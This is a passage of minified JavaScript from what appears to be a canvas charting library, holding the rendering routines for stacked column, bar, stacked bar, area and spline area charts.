nction:M.easing.easeOutQuart,animationBase:m<a.axisY.bounds.y1?
a.axisY.bounds.y1:m>a.axisY.bounds.y2?
a.axisY.bounds.y2:m}}};p.prototype.renderStackedColumn=function(a){var
d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=[],k=[],l=[],w=[],m=0,s,q,n=a.axisY.convertValueToPixel(a.
axisY.logarithmic?a.axisY.viewportMinimum:0),m=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;s=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.15*this.width<<0;var f=a.axisX.dataInfo.minDiff;isFinite(f)||
(f=0.3*Math.abs(a.axisX.range));f=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.width*(a.axisX.logarithmic?
Math.log(f)/Math.log(a.axisX.range):Math.abs(f)/Math.abs(a.axisX.range))/a.plotType
.plotUnits.length)<<0;this.dataPointMaxWidth&&m>s&&(m=Math.min(this.options.dataPoi
ntWidth?
this.dataPointWidth:Infinity,s));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&s<m)&&(s=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,m));f<m&&(f=m);f>s&&(f=s);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var B=0;B<a.dataSeriesIndexes.length;B++){var
h=a.dataSeriesIndexes[B],
p=this.data[h],t=p.dataPoints;if(0<t.length){var u=5<f&&p.bevelEnabled?!0:!
1;b.strokeStyle="#4572A7 ";for(m=0;m<t.length;m++)if(c=t[m].x.getTime?
t[m].x.getTime():t[m].x,!(c<a.axisX.dataInfo.viewPortMin||
c>a.axisX.dataInfo.viewPortMax)&&"number"===typeof t[m].y)
{s=a.axisX.convertValueToPixel(c);var x=s-
a.plotType.plotUnits.length*f/2+a.index*f<<0,v=x+f<<0,y;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0<t[m].y)l[c]=t[m
].y+(l[c]?l[c]:0),0<l[c]&&(q=a.axisY.convertValueToPixel(l[c]),
y="undefined"!==typeof g[c]?g[c]:n,g[c]=q);else
if(a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0>=t[m].y)w[c]
=t[m].y+(w[c]?w[c]:0),y=a.axisY.convertValueToPixel(w[c]),q="undefined"!==typeof
k[c]?k[c]:n,k[c]=y;else if(q=a.axisY.convertValueToPixel(t[m].y),0<=t[m].y){var
A="undefined"!==typeof g[c]?g[c]:0;q-=A;y=n-A;g[c]=A+(y-q)}else A=k[c]?
k[c]:0,y=q+A,q=n+A,k[c]=A+(y-q);c=t[m].color?t[m].color:p._colorSet[m
%p._colorSet.length];ea(b,x,q,v,y,c,0,null,u&&0<=t[m].y,0>t[m].y&&u,!1,
!
1,p.fillOpacity);c=p.dataPointIds[m];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:h,dataPointIndex:m,x1:x,y1:q,x2:v,y2:y};c=N(c);r&&ea
(this._eventManager.ghostCtx,x,q,v,y,c,0,null,!1,!1,!1,!1);(t[m].indexLabel||
p.indexLabel||t[m].indexLabelFormatter||
p.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedColumn",dataPoint
:t[m],dataSeries:p,point:{x:s,y:0<=t[m].y?
q:y},direction:0>t[m].y===a.axisY.reversed?1:-1,bounds:
{x1:x,y1:Math.min(q,y),x2:v,y2:Math.max(q,
y)},color:c})}}}r&&(d.drawImage(this._preRenderCanvas,0,0,this.width,this.height),b
.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,
animationCallback:M.yScaleAnimation,easingFunction:M.easing.easeOutQuart,animationB
ase:n<a.axisY.bounds.y1?a.axisY.bounds.y1:n>a.axisY.bounds.y2?
a.axisY.bounds.y2:n}}};p.prototype.renderStackedColumn100=function(a){var
d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=[],k=[],l=[],w=[],m=0,s,q,n=a.axisY.convertValueToPixel(a.
axisY.logarithmic?a.axisY.viewportMinimum:0),m=this.options.dataPointMinWidth?
this.dataPointMinWidth:
this.options.dataPointWidth?this.dataPointWidth:1;s=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.15*this.width<<0;var f=a.axisX.dataInfo.minDiff;isFinite(f)||
(f=0.3*Math.abs(a.axisX.range));f=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.width*(a.axisX.logarithmic?
Math.log(f)/Math.log(a.axisX.range):Math.abs(f)/Math.abs(a.axisX.range))/a.plotType
.plotUnits.length)<<0;this.dataPointMaxWidth&&m>s&&(m=Math.min(this.options.dataPoi
ntWidth?
this.dataPointWidth:Infinity,s));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&s<m)&&(s=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,m));f<m&&(f=m);f>s&&(f=s);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var B=0;B<a.dataSeriesIndexes.length;B++){var
p=a.dataSeriesIndexes[B],
h=this.data[p],t=h.dataPoints;if(0<t.length)for(var u=5<f&&h.bevelEnabled?!0:!
1,m=0;m<t.length;m++)if(c=t[m].x.getTime?t[m].x.getTime():t[m].x,!
(c<a.axisX.dataInfo.viewPortMin||c>a.axisX.dataInfo.viewPortMax)&&"number"===typeof
t[m].y){s=a.axisX.convertValueToPixel(c);q=0!==a.dataPointYSums[c]?
100*(t[m].y/a.dataPointYSums[c]):0;var x=s-
a.plotType.plotUnits.length*f/2+a.index*f<<0,v=x+f<<0,y;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0<t[m].y){l[c]=q+
("undefined"!==typeof l[c]?
l[c]:0);if(0>=l[c])continue;q=a.axisY.convertValueToPixel(l[c]);y=g[c]?
g[c]:n;g[c]=q}else
if(a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0>=t[m].y)w[c]
=q+("undefined"!==typeof w[c]?w[c]:0),y=a.axisY.convertValueToPixel(w[c]),q=k[c]?
k[c]:n,k[c]=y;else if(q=a.axisY.convertValueToPixel(q),0<=t[m].y){var
A="undefined"!==typeof g[c]?g[c]:0;q-=A;y=n-A;a.dataSeriesIndexes.length-
1===B&&1>=Math.abs(e.y1-q)&&(q=e.y1);g[c]=A+(y-q)}else A="undefined"!==typeof k[c]?
k[c]:0,y=q+A,q=n+A,a.dataSeriesIndexes.length-1===B&&1>=Math.abs(e.y2-
y)&&(y=e.y2),k[c]=A+(y-q);c=t[m].color?t[m].color:h._colorSet[m
%h._colorSet.length];ea(b,x,q,v,y,c,0,null,u&&0<=t[m].y,0>t[m].y&&u,!1,!
1,h.fillOpacity);c=h.dataPointIds[m];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:p,dataPointIndex:m,x1:x,y1:q,x2:v,y2:y};c=N(c);r&&ea
(this._eventManager.ghostCtx,x,q,v,y,c,0,null,!1,!1,!1,!1);(t[m].indexLabel||
h.indexLabel||t[m].indexLabelFormatter||h.indexLabelFormatter)&&
this._indexLabels.push({chartType:"stackedColumn100",dataPoint:t[m],dataSeries:h,po
int:{x:s,y:0<=t[m].y?q:y},direction:0>t[m].y===a.axisY.reversed?1:-1,bounds:
{x1:x,y1:Math.min(q,y),x2:v,y2:Math.max(q,y)},color:c})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&
this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.width,this.height),b
.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghostCtx.restore());b.res
tore();return{source:d,dest:this.plotArea.ctx,animationCallback:M.yScaleAnimation,e
asingFunction:M.easing.easeOutQuart,animationBase:n<a.axisY.bounds.y1?
a.axisY.bounds.y1:n>a.axisY.bounds.y2?
a.axisY.bounds.y2:n}}};p.prototype.renderBar=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=
null,e=this.plotArea,g=0,k,l,w,m=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),g=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1,s=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:Math.min(0.15*this.height,0.9*(this.plotArea.height/a.plotType.
totalDataSeries))<<0,q=a.axisX.dataInfo.minDiff;isFinite(q)||
(q=0.3*Math.abs(a.axisX.range));q=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.height*(a.axisX.logarithmic?
Math.log(q)/Math.log(a.axisX.range):Math.abs(q)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&g>s&&(g=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,s));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&s<g)&&(s=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,g));q<g&&(q=g);q>s&&(q=s);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);
b.clip();r&&(this._eventManager.ghostCtx.beginPath(),this._eventManager.ghostCtx.re
ct(e.x1,e.y1,e.width,e.height),this._eventManager.ghostCtx.clip());for(s=0;s<a.data
SeriesIndexes.length;s++){var
n=a.dataSeriesIndexes[s],f=this.data[n],B=f.dataPoints;if(0<B.length){var
h=5<q&&f.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(g=0;g<B.length;g+
+)if(B[g].getTime?w=B[g].x.getTime():w=B[g].x,!(w<a.axisX.dataInfo.viewPortMin||
w>a.axisX.dataInfo.viewPortMax)&&"number"===typeof B[g].y)
{l=a.axisX.convertValueToPixel(w);
k=a.axisY.convertValueToPixel(B[g].y);l=a.axisX.reversed?
l+a.plotType.totalDataSeries*q/2-(a.previousDataSeriesCount+s)*q<<0:l-
a.plotType.totalDataSeries*q/2+(a.previousDataSeriesCount+s)*q<<0;var
p=a.axisX.reversed?l-q<<0:l+q<<0,t;0<=B[g].y?t=m:(t=k,k=m);c=B[g].color?
B[g].color:f._colorSet[g%f._colorSet.length];ea(b,t,l,k,p,c,0,null,h,!1,!1,!
1,f.fillOpacity);c=f.dataPointIds[g];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:n,dataPointIndex:g,x1:t,y1:l,x2:k,y2:p};c=
N(c);r&&ea(this._eventManager.ghostCtx,t,l,k,p,c,0,null,!1,!1,!1,!1);
(B[g].indexLabel||f.indexLabel||B[g].indexLabelFormatter||
f.indexLabelFormatter)&&this._indexLabels.push({chartType:"bar",dataPoint:B[g],data
Series:f,point:{x:0<=B[g].y?k:t,y:l+(p-l)/2},direction:0>B[g].y===a.axisY.reversed?
1:-1,bounds:
{x1:Math.min(t,k),y1:l,x2:Math.max(t,k),y2:p},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,
0,0,this.width,this.height),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,
this.width,this.height),this._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this
._preRenderCanvas,0,0,this.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.heigh
t),this._eventManager.ghostCtx.restore());b.restore();return{source:d,dest:this.plo
tArea.ctx,animationCallback:M.xScaleAnimation,easingFunction:M.easing.easeOutQuart,
animationBase:m<a.axisY.bounds.x1?a.axisY.bounds.x1:m>a.axisY.bounds.x2?
a.axisY.bounds.x2:
m}}};p.prototype.renderStackedBar=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=[],k=[],l=[],w=[],m=0,s,q,n=a.axisY.convertValueToPixel(a.
axisY.logarithmic?a.axisY.viewportMinimum:0),m=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;q=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.15*this.height<<
0;var f=a.axisX.dataInfo.minDiff;isFinite(f)||
(f=0.3*Math.abs(a.axisX.range));f=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.height*(a.axisX.logarithmic?
Math.log(f)/Math.log(a.axisX.range):Math.abs(f)/Math.abs(a.axisX.range))/a.plotType
.plotUnits.length)<<0;this.dataPointMaxWidth&&m>q&&(m=Math.min(this.options.dataPoi
ntWidth?this.dataPointWidth:Infinity,q));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&q<m)&&(q=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-Infinity,m));f<
m&&(f=m);f>q&&(f=q);b.save();r&&this._eventManager.ghostCtx.save();b.beginPath();b.
rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.ghostCtx.beginPath
(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this._eventManager.
ghostCtx.clip());for(var B=0;B<a.dataSeriesIndexes.length;B++){var
p=a.dataSeriesIndexes[B],h=this.data[p],t=h.dataPoints;if(0<t.length){var
u=5<f&&h.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(m=0;m<t.length;m+
+)if(c=t[m].x.getTime?t[m].x.getTime():
t[m].x,!(c<a.axisX.dataInfo.viewPortMin||
c>a.axisX.dataInfo.viewPortMax)&&"number"===typeof t[m].y)
{q=a.axisX.convertValueToPixel(c);var x=q-
a.plotType.plotUnits.length*f/2+a.index*f<<0,v=x+f<<0,y;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0<t[m].y)l[c]=t[m
].y+(l[c]?l[c]:0),0<l[c]&&(y=g[c]?
g[c]:n,g[c]=s=a.axisY.convertValueToPixel(l[c]));else
if(a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0>=t[m].y)w[c]
=t[m].y+(w[c]?w[c]:0),s=k[c]?
k[c]:n,k[c]=y=a.axisY.convertValueToPixel(w[c]);else
if(s=a.axisY.convertValueToPixel(t[m].y),0<=t[m].y){var A=g[c]?
g[c]:0;y=n+A;s+=A;g[c]=A+(s-y)}else A=k[c]?k[c]:0,y=s-A,s=n-A,k[c]=A+(s-
y);c=t[m].color?t[m].color:h._colorSet[m
%h._colorSet.length];ea(b,y,x,s,v,c,0,null,u,!1,!1,!
1,h.fillOpacity);c=h.dataPointIds[m];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:p,dataPointIndex:m,x1:y,y1:x,x2:s,y2:v};c=N(c);r&&ea
(this._eventManager.ghostCtx,y,x,s,v,c,0,null,!1,!1,!1,
!1);(t[m].indexLabel||h.indexLabel||t[m].indexLabelFormatter||
h.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedBar",dataPoint:t[
m],dataSeries:h,point:{x:0<=t[m].y?s:y,y:q},direction:0>t[m].y===a.axisY.reversed?
1:-1,bounds:
{x1:Math.min(y,s),y1:x,x2:Math.max(y,s),y2:v},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&
b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),this._breaksCanvasCtx&&t
his._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.width,this.height),b.
clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghostCtx.restore());b.rest
ore();return{source:d,dest:this.plotArea.ctx,animationCallback:M.xScaleAnimation,ea
singFunction:M.easing.easeOutQuart,animationBase:n<a.axisY.bounds.x1?
a.axisY.bounds.x1:n>a.axisY.bounds.x2?
a.axisY.bounds.x2:n}}};p.prototype.renderStackedBar100=function(a){var d=
a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=[],k=[],l=[],w=[],m=0,s,q,n=a.axisY.convertValueToPixel(a.
axisY.logarithmic?a.axisY.viewportMinimum:0),m=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;q=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.15*this.height<<0;var
f=a.axisX.dataInfo.minDiff;isFinite(f)||
(f=0.3*Math.abs(a.axisX.range));f=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.height*(a.axisX.logarithmic?
Math.log(f)/Math.log(a.axisX.range):Math.abs(f)/Math.abs(a.axisX.range))/a.plotType
.plotUnits.length)<<0;this.dataPointMaxWidth&&m>q&&(m=Math.min(this.options.dataPoi
ntWidth?this.dataPointWidth:Infinity,q));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&q<m)&&(q=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,m));f<m&&(f=m);f>q&&(f=q);b.save();r&&this._eventManager.ghostCtx.save();
b.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gh
ostCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),thi
s._eventManager.ghostCtx.clip());for(var B=0;B<a.dataSeriesIndexes.length;B++){var
h=a.dataSeriesIndexes[B],p=this.data[h],t=p.dataPoints;if(0<t.length){var
u=5<f&&p.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(m=0;m<t.length;m+
+)if(c=t[m].x.getTime?t[m].x.getTime():t[m].x,!(c<a.axisX.dataInfo.viewPortMin||
c>a.axisX.dataInfo.viewPortMax)&&
"number"===typeof t[m].y){q=a.axisX.convertValueToPixel(c);var x;x=0!
==a.dataPointYSums[c]?100*(t[m].y/a.dataPointYSums[c]):0;var v=q-
a.plotType.plotUnits.length*f/2+a.index*f<<0,y=v+f<<0;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0<t[m].y){l[c]=x+
(l[c]?l[c]:0);if(0>=l[c])continue;x=g[c]?
g[c]:n;g[c]=s=a.axisY.convertValueToPixel(l[c])}else
if(a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0>=t[m].y)w[c]
=x+(w[c]?w[c]:0),s=k[c]?k[c]:
n,k[c]=x=a.axisY.convertValueToPixel(w[c]);else
if(s=a.axisY.convertValueToPixel(x),0<=t[m].y){var A=g[c]?
g[c]:0;x=n+A;s+=A;a.dataSeriesIndexes.length-1===B&&1>=Math.abs(e.x2-
s)&&(s=e.x2);g[c]=A+(s-x)}else A=k[c]?k[c]:0,x=s-A,s=n-
A,a.dataSeriesIndexes.length-1===B&&1>=Math.abs(e.x1-x)&&(x=e.x1),k[c]=A+(s-
x);c=t[m].color?t[m].color:p._colorSet[m
%p._colorSet.length];ea(b,x,v,s,y,c,0,null,u,!1,!1,!
1,p.fillOpacity);c=p.dataPointIds[m];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:h,
dataPointIndex:m,x1:x,y1:v,x2:s,y2:y};c=N(c);r&&ea(this._eventManager.ghostCtx,x,v,
s,y,c,0,null,!1,!1,!1,!1);(t[m].indexLabel||p.indexLabel||
t[m].indexLabelFormatter||
p.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedBar100",dataPoint
:t[m],dataSeries:p,point:{x:0<=t[m].y?
s:x,y:q},direction:0>t[m].y===a.axisY.reversed?1:-1,bounds:
{x1:Math.min(x,s),y1:v,x2:Math.max(x,s),y2:y},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-atop",
a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height),a.ax
isY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),this._br
eaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.width
,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghostCtx.r
estore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallback:M.xS
caleAnimation,easingFunction:M.easing.easeOutQuart,animationBase:n<a.axisY.bounds.x
1?a.axisY.bounds.x1:
n>a.axisY.bounds.x2?a.axisY.bounds.x2:n}}};p.prototype.renderArea=function(a){var
d,b;function c(){A&&(0<B.lineThickness&&g.stroke(),a.axisY.logarithmic||
0>=a.axisY.viewportMinimum&&0<=a.axisY.viewportMaximum?
y=v:0>a.axisY.viewportMaximum?
y=w.y1:0<a.axisY.viewportMinimum&&(y=l.y2),g.lineTo(t,y),g.lineTo(A.x,y),g.closePat
h(),g.globalAlpha=B.fillOpacity,g.fill(),g.globalAlpha=1,r&&(k.lineTo(t,y),k.lineTo
(A.x,y),k.closePath(),k.fill()),g.beginPath(),g.moveTo(t,u),k.beginPath(),k.moveTo(
t,u),A={x:t,y:u})}
var e=a.targetCanvasCtx||this.plotArea.ctx,g=r?this._preRenderCtx:e;if(!
(0>=a.dataSeriesIndexes.length)){var
k=this._eventManager.ghostCtx,l=a.axisX.lineCoordinates,w=a.axisY.lineCoordinates,m
=[],s=this.plotArea,q;g.save();r&&k.save();g.beginPath();g.rect(s.x1,s.y1,s.width,s
.height);g.clip();r&&(k.beginPath(),k.rect(s.x1,s.y1,s.width,s.height),k.clip());fo
r(var n=0;n<a.dataSeriesIndexes.length;n++){var
f=a.dataSeriesIndexes[n],B=this.data[f],p=B.dataPoints,m=B.id;this._eventManager.ob
jectMap[m]={objectType:"dataSeries",
dataSeriesIndex:f};m=N(m);k.fillStyle=m;m=[];d=!0;var
h=0,t,u,x,v=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),y,A=null;if(0<p.length){var z=B._colorSet[h
%B._colorSet.length],aa=B.lineColor=B.options.lineColor||
z,T=aa;g.fillStyle=z;g.strokeStyle=aa;g.lineWidth=B.lineThickness;b="solid";if(g.se
tLineDash){var Y=R(B.nullDataLineDashType,B.lineThickness);b=B.lineDashType;var
ca=R(b,B.lineThickness);g.setLineDash(ca)}for(var da=!0;h<p.length;h+
+)if(x=p[h].x.getTime?p[h].x.getTime():
p[h].x,!(x<a.axisX.dataInfo.viewPortMin||x>a.axisX.dataInfo.viewPortMax&&(!
B.connectNullData||!da)))if("number"!==typeof p[h].y)B.connectNullData||(da||d)||
c(),da=!
0;else{t=a.axisX.convertValueToPixel(x);u=a.axisY.convertValueToPixel(p[h].y);d||
da?(!d&&B.connectNullData?(g.setLineDash&&(B.options.nullDataLineDashType||
b===B.lineDashType&&B.lineDashType!
==B.nullDataLineDashType)&&(d=t,b=u,t=q.x,u=q.y,c(),g.moveTo(q.x,q.y),t=d,u=b,A=q,b
=B.nullDataLineDashType,g.setLineDash(Y)),g.lineTo(t,u),r&&k.lineTo(t,
u)):
(g.beginPath(),g.moveTo(t,u),r&&(k.beginPath(),k.moveTo(t,u)),A={x:t,y:u}),da=d=!
1):(g.lineTo(t,u),r&&k.lineTo(t,u),0==h%250&&c());q={x:t,y:u};h<p.length-1&&(T!
==(p[h].lineColor||aa)||b!==(p[h].lineDashType||
B.lineDashType))&&(c(),T=p[h].lineColor||
aa,g.strokeStyle=T,g.setLineDash&&(p[h].lineDashType?
(b=p[h].lineDashType,g.setLineDash(R(b,B.lineThickness))):
(b=B.lineDashType,g.setLineDash(ca))));var
Z=B.dataPointIds[h];this._eventManager.objectMap[Z]={id:Z,objectType:"dataPoint",da
taSeriesIndex:f,
dataPointIndex:h,x1:t,y1:u};0!==p[h].markerSize&&(0<p[h].markerSize||
0<B.markerSize)&&(x=B.getMarkerProperties(h,t,u,g),m.push(x),Z=N(Z),r&&m.push({x:t,
y:u,ctx:k,type:x.type,size:x.size,color:Z,borderColor:Z,borderThickness:x.borderThi
ckness}));(p[h].indexLabel||B.indexLabel||p[h].indexLabelFormatter||
B.indexLabelFormatter)&&this._indexLabels.push({chartType:"area",dataPoint:p[h],dat
aSeries:B,point:{x:t,y:u},direction:0>p[h].y===a.axisY.reversed?1:-
1,color:z})}c();ia.drawMarkers(m)}}r&&(e.drawImage(this._preRenderCanvas,
0,0,this.width,this.height),g.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&g.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&g.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),g.clearRect(s.x1,s.y1,s.width,s.height),this._eventManager.ghos
tCtx.restore());g.restore();return{source:e,dest:this.plotArea.ctx,animationCallbac
k:M.xClipAnimation,easingFunction:M.easing.linear,
animationBase:0}}};p.prototype.renderSplineArea=function(a){function d(){var
b=v(x,2);if(0<b.length){if(0<q.lineThickness)
{c.beginPath();c.moveTo(b[0].x,b[0].y);b[0].newStrokeStyle&&(c.strokeStyle=b[0].new
StrokeStyle);b[0].newLineDashArray&&c.setLineDash(b[0].newLineDashArray);for(var
d=0;d<b.length-
3;d+=3)if(c.bezierCurveTo(b[d+1].x,b[d+1].y,b[d+2].x,b[d+2].y,b[d+3].x,b[d+3].y),r&
&e.bezierCurveTo(b[d+1].x,b[d+1].y,b[d+2].x,b[d+2].y,b[d+3].x,b[d+3].y),b[d+3].newS
trokeStyle||b[d+3].newLineDashArray)c.stroke(),
c.beginPath(),c.moveTo(b[d+3].x,b[d+3].y),b[d+3].newStrokeStyle&&(c.strokeStyle=b[d
+3].newStrokeStyle),b[d+3].newLineDashArray&&c.setLineDash(b[d+3].newLineDashArray)
;c.stroke()}c.beginPath();c.moveTo(b[0].x,b[0].y);r&&(e.beginPath(),e.moveTo(b[0].x
,b[0].y));for(d=0;d<b.length-
3;d+=3)c.bezierCurveTo(b[d+1].x,b[d+1].y,b[d+2].x,b[d+2].y,b[d+3].x,b[d+3].y),r&&e.
bezierCurveTo(b[d+1].x,b[d+1].y,b[d+2].x,b[d+2].y,b[d+3].x,b[d+3].y);a.axisY.logari
thmic||0>=a.axisY.viewportMinimum&&0<=a.axisY.viewportMaximum?
t=p:0>a.axisY.viewportMaximum?
t=k.y1:0<a.axisY.viewportMinimum&&(t=g.y2);u={x:b[0].x,y:b[0].y};c.lineTo(b[b.lengt
h-
1].x,t);c.lineTo(u.x,t);c.closePath();c.globalAlpha=q.fillOpacity;c.fill();c.global
Alpha=1;r&&(e.lineTo(b[b.length-
1].x,t),e.lineTo(u.x,t),e.closePath(),e.fill())}}var b=a.targetCanvasCtx||
this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=this._eventManager.ghostCtx,g=a.axisX.lineCoordinates,k=a.axisY.lineCoordinates,l
=[],w=this.plotArea;c.save();r&&
e.save();c.beginPath();c.rect(w.x1,w.y1,w.width,w.height);c.clip();r&&(e.beginPath(
),e.rect(w.x1,w.y1,w.width,w.height),e.clip());for(var
m=0;m<a.dataSeriesIndexes.length;m++){var
s=a.dataSeriesIndexes[m],q=this.data[s],n=q.dataPoints,l=q.id;this._eventManager.ob
jectMap[l]={objectType:"dataSeries",dataSeriesIndex:s};l=N(l);e.fillStyle=l;var
l=[],f=0,B,h,p=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),t,u=null,x=[];if(0<n.length){var ma=q._colorSet[f
%q._colorSet.length],
y=q.lineColor=q.options.lineColor||
ma,A=y;c.fillStyle=ma;c.strokeStyle=y;c.lineWidth=q.lineThickness;var
z="solid";if(c.setLineDash){var
aa=R(q.nullDataLineDashType,q.lineThickness),z=q.lineDashType,T=R(z,q.lineThickness
);c.setLineDash(T)}for(h=!1;f<n.length;f++)if(B=n[f].x.getTime?
n[f].x.getTime():n[f].x,!(B<a.axisX.dataInfo.viewPortMin||
